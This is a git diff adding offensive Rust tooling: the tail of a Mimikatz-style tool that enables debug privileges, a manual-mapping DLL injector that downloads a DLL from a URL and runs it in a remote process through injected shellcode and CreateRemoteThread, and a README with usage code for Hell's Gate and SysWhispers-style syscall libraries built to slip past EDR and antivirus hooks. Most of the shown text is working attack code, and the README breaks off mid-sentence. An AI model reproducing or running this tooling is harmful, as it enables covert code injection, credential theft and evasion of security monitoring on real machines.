std::mem::zeroed(); + + privilege.PrivilegeCount = 1; + privilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + let result = LookupPrivilegeValueW(null_mut(), SE_DEBUG_NAME.as_ptr(), &mut privilege.Privileges[0].Luid); + if result == FALSE { + return (false, format!("[x] LookupPrivilege Error: {}", Error::last_os_error())); + } else { + let res = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &mut token); + if res == FALSE { + return (false, format!("[x] OpenProcessToken Error: {}", Error::last_os_error())); + } else { + let token_adjust = AdjustTokenPrivileges(token, FALSE, &mut privilege, std::mem::size_of_val(&privilege) as u32, null_mut(), null_mut()); + if token_adjust == FALSE { + return (false, format!("[x] AdjustTokenPrivileges Error: {}", Error::last_os_error())); + } else { + let close_handle = CloseHandle(token); + if close_handle == FALSE { + return (false, format!("[x] CloseHandle Error: {}", Error::last_os_error())); + } else { + return (true, format!("[!] Trying to enable debug privileges")); + } + } + } + } + } + } + + pub fn is_elevated() -> bool { + let mut h_token: HANDLE = null_mut(); + let mut token_ele: TOKEN_ELEVATION = TOKEN_ELEVATION { TokenIsElevated: 0 }; + let mut size: u32 = 0u32; + unsafe { + OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut h_token); + GetTokenInformation( + h_token, + TokenElevation, + &mut token_ele as *const _ as *mut _, + std::mem::size_of::() as u32, + &mut size, + ); + return token_ele.TokenIsElevated == 1; + } + } + + pub fn is_system() -> bool { + if format!("{}", whoami::username()).to_lowercase() == "system" { + return true; + } + return false; + } + + pub fn get_user_input(addition: Option) -> Vec { + let mut s = String::new(); + let mut result: Vec = vec![]; + let perm = get_permission_status(); + + match perm { + 0 => { + //System: @ + + if let Some(addition) = addition { + print!("{}", format!("mimiRust::{} @ ", addition)); + } else { + print!("mimiRust @ "); + } + }, + 1 => { + //Admin: # + if let Some(addition) = addition { + print!("{}", format!("mimiRust::{} # ", addition)); + } else { + print!("mimiRust # "); + } + }, + _ => { + //User: $ + if let Some(addition) = addition { + print!("{}", format!("mimiRust::{} $ ", addition)); + } else { + print!("mimiRust $ "); + } + }, + }; + + let _=stdout().flush(); + stdin().read_line(&mut s).expect("Did not enter correct characters"); + if let Some('\n')=s.chars().next_back() { + s.pop(); + } + if let Some('\r')=s.chars().next_back() { + s.pop(); + } + + for string in s.split(" ") { + result.push(string.to_string()); + } + + return result; + } +} + +fn get_permission_status() -> i32 { + if Utils::is_elevated() { + if Utils::is_system() { + return 0; + } + return 1; + } else { + return 2; + } +} \ No newline at end of file diff --git a/memN0ps/mmapper-rs/LICENSE b/memN0ps/mmapper-rs/LICENSE new file mode 100644 index 0000000..43a19c8 --- /dev/null +++ b/memN0ps/mmapper-rs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/memN0ps/mmapper-rs/README.md b/memN0ps/mmapper-rs/README.md new file mode 100644 index 0000000..91ba65a --- /dev/null +++ b/memN0ps/mmapper-rs/README.md @@ -0,0 +1,41 @@ +# Manual Mapper + +A manual mapper written in Rust + +## USAGE +``` +manual_map-rs.exe --process --url +``` + +## Features + +* Manual Mappping in Remote process +* Manual Mappping x64 DLLs +* Rebasing image and resolving imports in the local process +* Download DLL remotely (HTTP supported and HTTPS ToDo) +* Manual Mappping in local process (ToDo) +* Manual Mappping in an executable file (ToDo) +* TLS callbacks (ToDo) + +## References + +* https://github.com/Ben-Lichtman (B3NNY) +* https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes +* https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations +* https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection +* https://andreafortuna.org/2018/09/24/some-thoughts-about-pe-injection/ +* https://blog.sevagas.com/PE-injection-explained +* http://www.rohitab.com/discuss/topic/41441-pe-injection-new/ +* https://github.com/not-matthias/mmap/ +* https://github.com/2vg/blackcat-rs/ +* https://github.com/Kudaes/DInvoke_rs/ +* https://github.com/zorftw/kdmapper-rs/ +* https://github.com/stephenfewer/ReflectiveDLLInjection/ +* https://github.com/Zer0Mem0ry/ManualMap +* https://github.com/MrElectrify/mmap-loader-rs/ +* https://github.com/seal9055/darksouls3_cheats +* https://guidedhacking.com/threads/manual-mapping-dll-injection-tutorial-how-to-manual-map.10009/ +* https://0xrick.github.io/win-internals/pe7/#relocations +* https://docs.microsoft.com/en-us/windows/win32/debug/pe-format +* https://stackoverflow.com/questions/17436668/how-are-pe-base-relocations-build-up +* https://discord.com/invite/rust-lang-community (Rust Programming Language Community Server - Discord) diff --git a/memN0ps/mmapper-rs/loader/.gitignore b/memN0ps/mmapper-rs/loader/.gitignore new file mode 100644 index 0000000..088ba6b --- /dev/null +++ b/memN0ps/mmapper-rs/loader/.gitignore @@ -0,0 +1,10 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk diff --git a/memN0ps/mmapper-rs/loader/Cargo.toml b/memN0ps/mmapper-rs/loader/Cargo.toml new file mode 100644 index 0000000..e0e1ea2 --- /dev/null +++ b/memN0ps/mmapper-rs/loader/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "loader" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[lib] +name = "loader" + +[dependencies] +winapi = { version = "0.3.9", features = ["processthreadsapi", "memoryapi", "winbase", "impl-default", "errhandlingapi", "handleapi", "winuser", "heapapi", "impl-default"] } +sysinfo = "0.20.4" +clap = { version = "3.1.6", features = ["derive"] } +ureq = "2.4.0" +anyhow = "1.0.56" \ No newline at end of file diff --git a/memN0ps/mmapper-rs/loader/src/lib.rs b/memN0ps/mmapper-rs/loader/src/lib.rs new file mode 100644 index 0000000..7dc4466 --- /dev/null +++ b/memN0ps/mmapper-rs/loader/src/lib.rs @@ -0,0 +1,310 @@ +use std::{ptr::{null_mut}, intrinsics::{copy_nonoverlapping, transmute}, ffi::c_void, io, mem::size_of}; +use winapi::{um::{processthreadsapi::{OpenProcess, CreateRemoteThread}, winnt::{PROCESS_ALL_ACCESS, MEM_RESERVE, MEM_COMMIT, PAGE_EXECUTE_READWRITE, PIMAGE_NT_HEADERS64, PIMAGE_SECTION_HEADER, IMAGE_NT_SIGNATURE, IMAGE_DOS_SIGNATURE, PIMAGE_DOS_HEADER, PIMAGE_BASE_RELOCATION, IMAGE_DIRECTORY_ENTRY_BASERELOC, IMAGE_BASE_RELOCATION, IMAGE_REL_BASED_DIR64, IMAGE_DIRECTORY_ENTRY_IMPORT, PIMAGE_IMPORT_DESCRIPTOR, PIMAGE_IMPORT_BY_NAME, IMAGE_SNAP_BY_ORDINAL64, IMAGE_ORDINAL64, PIMAGE_THUNK_DATA64, IMAGE_IMPORT_DESCRIPTOR}, errhandlingapi::GetLastError, memoryapi::{VirtualAllocEx, WriteProcessMemory}, libloaderapi::{LoadLibraryA, GetProcAddress}, handleapi::CloseHandle}}; + +/// Manually Maps a DLL in the target process +pub fn manual_map(dll_bytes: Vec, process_id: u32) { + let (dos_header, nt_headers) = get_image_nt_and_dos_headers(dll_bytes.as_ptr()); + println!("[+] _IMAGE_DOS_HEADER: {:p} _IMAGE_NT_HEADERS64: {:p}", dos_header, nt_headers); + + let local_image = copy_sections_to_local_process(nt_headers, dll_bytes.as_ptr()); + println!("[+] Local allocated memory region: {:p}", local_image.as_ptr()); + + // Get a handle to the target process with all access + let process_handle = unsafe { + OpenProcess( + PROCESS_ALL_ACCESS, + 0, + process_id + ) + }; + + if process_handle == null_mut() { + error("Failed to open the target process"); + } + + println!("[+] Process handle: {:?}", process_handle); + + // Allocate memory in the target process for the image + let remote_image = unsafe { + VirtualAllocEx( + process_handle, + null_mut(), + (*nt_headers).OptionalHeader.SizeOfImage as usize, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ) + }; + + if remote_image == null_mut() { + error("Failed to allocate memory in the target process for dll"); + } + + println!("[+] Remote allocated memory region for the dll: {:p}", remote_image); + + unsafe { rebase_image(nt_headers, local_image.as_ptr(), remote_image) }; + unsafe { resolve_imports(nt_headers, local_image.as_ptr()) }; + + // Write the the local image to the target process after rebasing and resolving imports in the local process + let wpm_result = unsafe { + WriteProcessMemory( + process_handle, + remote_image as _, + local_image.as_ptr() as _, + local_image.len(), + null_mut(), + ) + }; + + if wpm_result == 0 { + error("Failed to write the local image to the target process"); + } + + // Calculate the AddressOfEntryPoint for the PE file + let entry_point = unsafe { remote_image as usize + (*nt_headers).OptionalHeader.AddressOfEntryPoint as usize }; + + println!("[+] Entry Point: {:#x}", entry_point); + + unsafe { call_dllmain(remote_image as usize, entry_point, process_handle) }; + + // Close process handle + unsafe { CloseHandle(process_handle) }; +} + +// Allocates memory, inject shellcode in the target process and call DllMain +unsafe fn call_dllmain(image_base: usize, entrypoint: usize, process_handle: *mut c_void) { + + #[rustfmt::skip] + let mut shellcode: Vec = vec![ + 0x48, 0x83, 0xEC, 0x28, // sub rsp, 28h + 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, image_base ; hinstDLL + 0x48, 0xc7, 0xc2, 0x01, 0x00, 0x00, 0x00, // mov rdx, 1 ; fdwReason + 0x4d, 0x31, 0xC0, // xor r8, r8 ; lpvReserved + 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, entrypoint + 0xFF, 0xD0, // call rax + 0x48, 0x83, 0xC4, 0x28, // add rsp, 28h + 0xC3, // ret + ]; + + // Insert the image base and entry point as parameters to DllMain + (shellcode.as_mut_ptr().offset(6) as *mut usize).write_volatile(image_base as usize); + (shellcode.as_mut_ptr().offset(26) as *mut usize).write_volatile(entrypoint as usize); + + // Allocate memory for the shellcode in the target process + let shellcode_memory = VirtualAllocEx( + process_handle, + null_mut(), + shellcode.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ); + + if shellcode_memory == null_mut() { + error("Failed to allocate memory in the target process for the shellcode"); + } + + println!("[+] Remote allocated memory region for shellcode: {:p}", shellcode_memory); + + // Write the shellcode that execute Dllmain to the target process + let wpm_result = WriteProcessMemory( + process_handle, + shellcode_memory as _, + shellcode.as_ptr() as _, + shellcode.len(), + null_mut(), + ); + + if wpm_result == 0 { + error("Failed to write shellcode to the target process"); + } + + // Create remote thread and execute our shellcode + let thread_handle = CreateRemoteThread( + process_handle, + null_mut(), + 0, + Some(std::mem::transmute(shellcode_memory as usize)), + null_mut(), + 0, + null_mut(), + ); + + if thread_handle == null_mut() { + error("Failed to create remote thread"); + } + + // Close thread handle + CloseHandle(thread_handle); + //WaitForSingleObject(thread_handle, 0xFFFFFFFF); +} + +/// Resolve the image imports +unsafe fn resolve_imports(nt_headers: PIMAGE_NT_HEADERS64, local_image: *const u8) { + + // Get a pointer to the first _IMAGE_IMPORT_DESCRIPTOR + let mut import_directory = transmute::<_, PIMAGE_IMPORT_DESCRIPTOR>(local_image as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize); + + while (*import_directory).Name != 0 { + + // Get the name of the dll in the current _IMAGE_IMPORT_DESCRIPTOR + let dll_name = (local_image as usize + + (*import_directory).Name as usize) as *const i8; + + // Load the DLL in the in the address space of the process + let dll_handle = LoadLibraryA(dll_name); + + // Get a pointer to the OriginalFirstThunk in the current _IMAGE_IMPORT_DESCRIPTOR + let mut original_first_thunk = (local_image as usize + + *(*import_directory).u.OriginalFirstThunk() as usize) as PIMAGE_THUNK_DATA64; + + // Get a pointer to the FirstThunk in the current _IMAGE_IMPORT_DESCRIPTOR + let mut thunk = (local_image as usize + + (*import_directory).FirstThunk as usize) + as PIMAGE_THUNK_DATA64; + + while (*original_first_thunk).u1.Function() != &0 { + + // Get a pointer to _IMAGE_IMPORT_BY_NAME + let thunk_data = (local_image as usize + + *(*original_first_thunk).u1.AddressOfData() as usize) + as PIMAGE_IMPORT_BY_NAME; + + // #define IMAGE_SNAP_BY_ORDINAL64(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG64) != 0) + if IMAGE_SNAP_BY_ORDINAL64(*(*original_first_thunk).u1.Ordinal()) { + //#define IMAGE_ORDINAL64(Ordinal) (Ordinal & 0xffff) + let fn_ordinal = IMAGE_ORDINAL64(*(*original_first_thunk).u1.Ordinal()) as _; + *(*thunk).u1.Function_mut() = GetProcAddress(dll_handle, fn_ordinal) as _; + } else { + // Get a pointer to the function name in the IMAGE_IMPORT_BY_NAME + let fn_name = (*thunk_data).Name.as_ptr(); + // Retrieve the address of the exported function from the DLL and ovewrite the value of "Function" in the IMAGE_THUNK_DATA64 + *(*thunk).u1.Function_mut() = GetProcAddress(dll_handle, fn_name) as _; + } + + // Increment Thunk and OriginalFirstThunk + thunk = thunk.offset(1); + original_first_thunk = original_first_thunk.offset(1); + } + + // Get a pointer to the next _IMAGE_IMPORT_DESCRIPTOR + import_directory = (import_directory as usize + size_of::() as usize) as _; + } +} + +/// Rebase the image / perform image base relocation +unsafe fn rebase_image(nt_headers: PIMAGE_NT_HEADERS64, local_image: *const u8, remote_image: *mut c_void) { + + // Get a pointer to the first _IMAGE_BASE_RELOCATION + let mut base_relocation = transmute::(local_image as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize); + + // Get the end of _IMAGE_BASE_RELOCATION + let base_relocation_end = base_relocation as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize; + + // Calculate the difference between remote allocated memory region where the image will be loaded and preferred ImageBase (delta) + let delta = remote_image as isize - (*nt_headers).OptionalHeader.ImageBase as isize; + + while (*base_relocation).VirtualAddress != 0u32 && (*base_relocation).VirtualAddress as usize <= base_relocation_end && (*base_relocation).SizeOfBlock != 0u32 { + + // Get the VirtualAddress, SizeOfBlock and entries count of the current _IMAGE_BASE_RELOCATION block + let address = (local_image as usize + (*base_relocation).VirtualAddress as usize) as isize; + let item = transmute::(base_relocation as usize + std::mem::size_of::()); + let count = ((*base_relocation).SizeOfBlock as usize - std::mem::size_of::()) / std::mem::size_of::() as usize; + + for i in 0..count { + // Get the Type and Offset from the Block Size field of the _IMAGE_BASE_RELOCATION block + let type_field = item.offset(i as isize).read() >> 12; + let offset = item.offset(i as isize).read() & 0xFFF; + + //#define IMAGE_REL_BASED_DIR64 10 + if type_field == IMAGE_REL_BASED_DIR64 { + // Add the delta to the value of each address where the relocation needs to be performed + *((address + offset as isize) as *mut isize) += delta; + } + } + + // Get a pointer to the next _IMAGE_BASE_RELOCATION + base_relocation = transmute::(base_relocation as usize + (*base_relocation).SizeOfBlock as usize); + } +} + +/// Copy sections of the dll to a memory location in local process (heap) +fn copy_sections_to_local_process(nt_headers: PIMAGE_NT_HEADERS64, dll_bytes: *const u8) -> Vec { + // Allocate memory on the heap for the image + let image_size = unsafe { (*nt_headers).OptionalHeader.SizeOfImage } as usize ; + let mut image = vec![0; image_size]; + + // Get a pointer to the _IMAGE_SECTION_HEADER + let section_header = unsafe { + transmute::(&(*nt_headers).OptionalHeader as *const _ as usize + (*nt_headers).FileHeader.SizeOfOptionalHeader as usize) + }; + + println!("[+] IMAGE_SECTION_HEADER: {:p}", section_header); + + for i in unsafe { 0..(*nt_headers).FileHeader.NumberOfSections } { + // Get a reference to the current _IMAGE_SECTION_HEADER + let section_header_i = unsafe { &*(section_header.add(i as usize)) }; + + // Get the pointer to current section header's virtual address + let destination = unsafe { image.as_mut_ptr().offset(section_header_i.VirtualAddress as isize) }; + // Get a pointer to the current section header's data + let source = dll_bytes as usize + section_header_i.PointerToRawData as usize; + // Get the size of the current section header's data + let size = section_header_i.SizeOfRawData as usize; + + // copy section headers into the local process (allocated memory on the heap) + unsafe { + copy_nonoverlapping( + source as *const c_void, + destination as *mut _, + size, + ) + }; + } + + image +} + +/// Get IMAGE_NT_HEADERS of the provided image +fn get_image_nt_and_dos_headers(image_base: *const u8) -> (PIMAGE_DOS_HEADER, PIMAGE_NT_HEADERS64) { + unsafe { + let dos_header = transmute::<_, PIMAGE_DOS_HEADER>(image_base); + + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + panic!("[-] Failed to get IMAGE_DOS_HEADER"); + } + + let nt_headers = transmute::( + image_base as usize + (*dos_header).e_lfanew as usize, + ); + + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE { + panic!("[-] Failed to get IMAGE_NT_HEADERS"); + } + + (dos_header, nt_headers) + } +} + +/// Panic and print GetLastError +fn error(text: &str){ + panic!("[-] {} {}", text, unsafe { GetLastError()}); +} + +#[allow(dead_code)] +/// Gets user input from the terminal +fn get_input() -> io::Result<()> { + let mut buf = String::new(); + std::io::stdin().read_line(&mut buf)?; + Ok(()) +} + +#[allow(dead_code)] +/// Used for debugging +pub fn pause() { + match get_input() { + Ok(buffer) => println!("{:?}", buffer), + Err(error) => println!("error: {}", error), + }; +} \ No newline at end of file diff --git a/memN0ps/mmapper-rs/loader/src/main.rs b/memN0ps/mmapper-rs/loader/src/main.rs new file mode 100644 index 0000000..78a58fd --- /dev/null +++ b/memN0ps/mmapper-rs/loader/src/main.rs @@ -0,0 +1,66 @@ +use sysinfo::{Pid, SystemExt, ProcessExt}; +use std::io::Read; +use clap::Parser; + +mod lib; + +/// Manual Map DLL Injector (Manual Mapping) +#[derive(Parser, Debug)] +#[clap(author, version, about, long_about = None)] +struct Args { + /// Target process to manually map a DLL + #[clap(short, long)] + process: String, + /// URL of the DLL to manually map + #[clap(short, long)] + url: String, +} + +fn main() { + let args = Args::parse(); + + //let dll_bytes = include_bytes!(""); + let payload = get_payload_remotely(args.url.as_str()); + + let dll_bytes = match payload { + Ok(p) => p, + Err(_) => panic!("[-] Failed to download file remotely"), + }; + + let process_id = get_process_id_by_name(args.process.as_str()) as u32; + println!("[+] Process ID: {:}", process_id); + + lib::manual_map(dll_bytes, process_id); +} + +/// Download a file remotely and convert to a Vector of u8 bytes +fn get_payload_remotely(url: &str) -> Result, anyhow::Error> { + let resp = ureq::get(url) + .set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0") + .call()?; + + let len: usize = resp.header("Content-Length") + .unwrap() + .parse()?; + + let mut bytes: Vec = Vec::with_capacity(len); + resp.into_reader() + .take(10_000_000) + .read_to_end(&mut bytes)?; + + Ok(bytes) +} + +/// Get process ID by name +fn get_process_id_by_name(target_process: &str) -> Pid { + let mut system = sysinfo::System::new(); + system.refresh_all(); + + let mut process_id = 0; + + for process in system.process_by_name(target_process) { + process_id = process.pid(); + } + + return process_id; +} \ No newline at end of file diff --git a/memN0ps/mmapper-rs/testdll/Cargo.toml b/memN0ps/mmapper-rs/testdll/Cargo.toml new file mode 100644 index 0000000..3036849 --- /dev/null +++ b/memN0ps/mmapper-rs/testdll/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "testdll" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[lib] +crate-type = ["cdylib"] + +[dependencies] +winapi = { version = "0.3.9", features = ["winnt", "libloaderapi", "winuser"] } \ No newline at end of file diff --git a/memN0ps/mmapper-rs/testdll/src/lib.rs b/memN0ps/mmapper-rs/testdll/src/lib.rs new file mode 100644 index 0000000..0d90920 --- /dev/null +++ b/memN0ps/mmapper-rs/testdll/src/lib.rs @@ -0,0 +1,24 @@ +use winapi::shared::minwindef::{BOOL, DWORD, HINSTANCE, LPVOID, TRUE}; +use winapi::um::winnt::DLL_PROCESS_ATTACH; +use winapi::um::winuser::MessageBoxA; + +#[no_mangle] +#[allow(non_snake_case)] +pub unsafe extern "system" fn DllMain( + _module: HINSTANCE, + call_reason: DWORD, + _reserved: LPVOID, +) -> BOOL { + if call_reason == DLL_PROCESS_ATTACH { + MessageBoxA( + 0 as _, + "Rust DLL injected!\0".as_ptr() as _, + "Rust DLL\0".as_ptr() as _, + 0x0, + ); + + TRUE + } else { + TRUE + } +} diff --git a/memN0ps/mordor-rs/.gitattributes b/memN0ps/mordor-rs/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/memN0ps/mordor-rs/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/memN0ps/mordor-rs/.gitignore b/memN0ps/mordor-rs/.gitignore new file mode 100644 index 0000000..6985cf1 --- /dev/null +++ b/memN0ps/mordor-rs/.gitignore @@ -0,0 +1,14 @@ +# Generated by Cargo +# will have compiled files and executables +debug/ +target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# MSVC Windows builds of rustc generate these, which store debugging information +*.pdb diff --git a/memN0ps/mordor-rs/LICENSE b/memN0ps/mordor-rs/LICENSE new file mode 100644 index 0000000..43a19c8 --- /dev/null +++ b/memN0ps/mordor-rs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/memN0ps/mordor-rs/README.md b/memN0ps/mordor-rs/README.md new file mode 100644 index 0000000..f097619 --- /dev/null +++ b/memN0ps/mordor-rs/README.md @@ -0,0 +1,297 @@ +# Hell's Gate / Halo's Gate / Tartarus' Gate and FreshyCalls / SysWhispers1 / SysWhispers2 / SysWhispers3 in Rust + +I named this project `Mordor` because Hell's Gate / Halo's Gate / Tartarus' Gate remind me of the [Black Gate of Mordor](https://shadowofwar.fandom.com/wiki/Black_Gate) in [The Lord of the Rings](https://en.wikipedia.org/wiki/The_Lord_of_the_Rings_(film_series)) for some weird reason haha and the project needs a cool name so why not? + +![BlackGate](./blackgate.png) +**Credits to [Middle-earth: Shadow of War Wiki](https://shadowofwar.fandom.com/wiki/Black_Gate)** + +## TODO + +* Use an egghunter like Syswhispers3 +* Add similar syscall functionality for `hells_halos_tartarus_gate` +* Add functionality in `hells_halos_tartarus_gate` to unhook if all function in `ntdll.dll` are hooked aka `Veles' Reek` at SEKTOR7. (I would just use `freshycalls_syswhispers` instead). + +## Usage + +The `morder-rs` project comes with 2 sub-projects called `freshycalls_syswhispers` and `hells_halos_tartarus_gate`. The difference between the Rust version of `freshycalls_syswhispers` and C/C++/Python version of `Syswhispers1/Syswhispers2/Syswhispers3` is that this project does not generate header/ASM files and output like it but utilizes the same techniques and is to be used as a library. + +1. Add the library to your Rust `Cargo.toml` file by setting the git repository or local path and choosing the direct or indirect system call feature by setting `_DIRECT_` or `_INDIRECT_` as a feature. Please note you can only choose direct `_DIRECT_` or `_INDIRECT_` not both. + +```toml +[dependencies] +freshycalls_syswhispers = { path = "../mordor-rs/freshycalls_syswhispers", features = ["_DIRECT_"] } +``` + +```toml +[dependencies] +freshycalls_syswhispers = { path = "../mordor-rs/freshycalls_syswhispers", features = ["_INDIRECT_"] } +``` + +or + +```toml +[dependencies] +freshycalls_syswhispers = { git = "https://github.com/memN0ps/mordor-rs/tree/main/freshycalls_syswhispers", features = ["_DIRECT_"] } +``` + +```toml +[dependencies] +freshycalls_syswhispers = { git = "https://github.com/memN0ps/mordor-rs/tree/main/freshycalls_syswhispers", features = ["_INDIRECT_"] } +``` + +2. Make use of the library + +```rust +use freshycalls_syswhispers; +``` + +3. Dynamically retrieve the `SSN` and/or `syscall` instruction from `ntdll.dll` even if functions are hooked and call any function using direct and/or indirect `syscall`. Note that when calling a function using the `syscall` macro the string will be obfuscated by hashing (`NtClose` in this example). + +```rust +unsafe { syscall!("NtClose", process_handle) }; +``` + +## Example + +`Cargo.toml` file: + +```toml +[package] +name = "testing-rs" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +#freshycalls_syswhispers = { path = "../mordor-rs/freshycalls_syswhispers", features = ["_DIRECT_"] } +freshycalls_syswhispers = { path = "../mordor-rs/freshycalls_syswhispers", features = ["_INDIRECT_"] } + +env_logger = "0.9.0" +log = "0.4.17" +sysinfo = "0.20.4" +obfstr = "0.3.0" +ntapi = { version = "0.4.0", features = ["impl-default"] } + +[dependencies.windows-sys] +version = "0.36.1" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming", + "Win32_System_LibraryLoader", +] +``` + +`main.rs` file: + +```rust +use std::{os::windows::raw::HANDLE, ptr::null_mut}; + +use freshycalls_syswhispers::{self, syscall, syscall_resolve::get_process_id_by_name}; +use ntapi::{ + ntapi_base::CLIENT_ID, + winapi::{ + shared::ntdef::{NT_SUCCESS, OBJECT_ATTRIBUTES}, + um::winnt::{PROCESS_VM_READ, PROCESS_VM_WRITE}, + }, +}; + +fn main() { + env_logger::init(); + + let mut oa = OBJECT_ATTRIBUTES::default(); + + let process_id = get_process_id_by_name("notepad.exe"); + let mut process_handle = process_id as HANDLE; + + let mut ci = CLIENT_ID { + UniqueProcess: process_handle, + UniqueThread: null_mut(), + }; + + let status = unsafe { + syscall!( + "NtOpenProcess", + &mut process_handle, + PROCESS_VM_WRITE | PROCESS_VM_READ, + &mut oa, + &mut ci + ) + }; + + log::debug!("status: {:#x}", status); + + if !NT_SUCCESS(status) { + unsafe { syscall!("NtClose", process_handle) }; + panic!("Failed to get a handle to the target process"); + } + + log::debug!("Process Handle: {:?}", process_handle); + unsafe { syscall!("NtClose", process_handle) }; +} +``` + +## Unit Tests + +The project has been tested with both `_DIRECT_` and `_INDIRECT_` system call features enabled and passed the unit tests even with hooks in place. + +```toml +[features] +default = ["_INDIRECT_"] +``` + +``` +$ cargo test +<...redacted...> + Running unittests src\lib.rs (target\debug\deps\freshycalls_syswhispers-8106a187dc70ecbf.exe) + +running 0 tests + +test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s + + Running tests\syscaller.rs (target\debug\deps\syscaller-60e96237a57b1d9a.exe) + +running 1 test +test tests::test_open_process ... ok + +test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.37s + + Doc-tests freshycalls_syswhispers + +running 0 tests + +test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s +``` + +```toml +[features] +default = ["_DIRECT_"] +``` + +``` +$ cargo test +<...redacted...> + Running unittests src\lib.rs (target\debug\deps\freshycalls_syswhispers-7888fd45359c60a6.exe) + +running 0 tests + +test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s + + Running tests\syscaller.rs (target\debug\deps\syscaller-546ab9a58b0eaa56.exe) + +running 1 test +test tests::test_open_process ... ok + +test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.28s + + Doc-tests freshycalls_syswhispers + +running 0 tests + +test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s +``` + +## Description + +### Hooking + +Hooking is a technique used to intercept calls to pre-existing functions or redirect the execution flow of a legitimate API to another location in memory. This memory location could be controlled by an attacker, anti-virus (AV), end-point detection and response (EDR), or anti-cheat (AC). + +`Inline Hooking:` This allows us to replace the targeted function's first few bytes (assembly instructions) with a jump instruction to redirect execution flow to another location in memory. + +`Import Address Table Hooking (IAT hooking):` The Import Address table is a 